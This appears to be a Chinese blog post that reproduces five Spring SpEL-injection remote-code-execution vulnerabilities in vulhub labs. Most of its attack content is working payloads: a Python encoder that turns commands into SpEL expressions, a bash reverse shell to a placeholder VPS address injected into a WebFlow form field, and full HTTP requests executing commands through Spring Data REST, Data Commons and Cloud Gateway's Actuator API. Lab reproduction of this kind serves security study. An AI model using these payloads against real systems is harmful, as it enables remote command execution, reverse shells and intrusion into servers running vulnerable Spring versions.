上一篇说了Struct2的相关漏洞,这一篇就复现一下Spring相关的漏洞,关于spring产生的漏洞,其实他跟struct2都差不多,都是因为对用户的参数没有采用严格的控制,导致传入表达式而导致的,只不过struct2是OGNL,而spring是spel表达式造成的。(声明:本篇中的实列均在vulhub中完成)
SpEL表达式
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。关于该表达式的具体内容请自行百度。
Spring Security OAuth2远程命令执行
漏洞编号:CVE-2016-4977 漏洞产生原因:Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞. 复现过程: 启动靶机直接访问,输入认证路径的url(http://IP:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test)并在其中添加验证poc,看是否存在漏洞
验证成功,使用exp来反弹shell 使用python脚本来将我没的反弹shell编译成Spel表达式的格式
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
使用方法:
将生成好的代码复制替换掉刚才的poc(${233*233}),同时在vps端起一个端口监听即可
Spring WebFlow 远程代码执行
漏洞编号:CVE-2017-4971 漏洞产生原因:Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行. 复现过程: 使用vulhub启动靶场,访问登录页面
登录进入后,直接点find hotels,选择第一家酒店入住
预定好酒店后点击确认,此时抓包会抓到一个POST的包,这个时候我们只需要直接添加一个poc即可,如下:
_eventId_confirm=&_csrf=57033da7-4538-42ec-9933-e12ac3e97db5&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/4444+0>%261")).start()=vulhub
然后在我们的vps上进行端口监听,看反弹shell有没有成功
Spring Data Rest 远程命令执行
漏洞编号:CVE-2017-8046 漏洞原理:Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue
,导致执行了SpEL表达式,触发远程命令执行漏洞. 复现过程: 靶场搭建完毕后直接访问其8080端口,看见有json格式的数据传回,访问url:ip/8080/customers/1 发送并抓包修改如下:
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
数组中是ascill,对应的是:touch /tmp/success,修改好后发送后如下:
访问容器tmp目录下,看是否生成了success文件
Spring Data Commons 远程命令执行
漏洞编号:CVE-2018-1273 漏洞原理:Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注>入恶意SpEL表达式以执行任意命令. 复现过程: 启动靶场,访问:/users,会有一个注册界面,我们随便填写一下提交,抓包修改
发现文件已经创建,这里给出vulhub的POC如下:
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
接下来就是反弹shell,我们在vps起起一个服务,放靶机去访问下载,下载好后,再通过发包的方式,将下载好的文件添加777权限,然后执行即可
这里没有反弹成功,看报错应该是docker镜像的问题,报错大概是说没有/dev/tcp/这个目录,所有实验是成功的,只是靶场出了点问题,造成没有反弹成功,所有咱们心中知道是什么原因就行.那你们可能会问上面的列子中为什么shell反弹成功了?哈哈,因为当时我发现vulhub的shell都反弹回不来,就用vulfocus做了,但这个我没有,因为我发现为什么vulhub不回来了.就是/dev/tcp/目录不存在导致的!!!
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行
漏洞编号:CVE-2022-22947 漏洞原理:Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令.因为ShortcutConfigurable.java中的getValue方法可以被ConfigurationService.java包中ConfigurableBuilder的normalizeProperties函数的this.properties参数控制修改,攻击者通过添加带有filter的恶意路由,当重新加载路由时,会触发对参数的归一化逻辑,从而导致filter参数value中的SPEL表达式被解析. 复现过程: 发送如下数据包即可添加一个包含恶意SpEL表达式的路由:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
发送如下数据包即可查看执行结果:
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
发现命令执行成功!!! 我们最后发送如下数据包清理现场,删除所添加的路由:
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
再刷新下路由:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0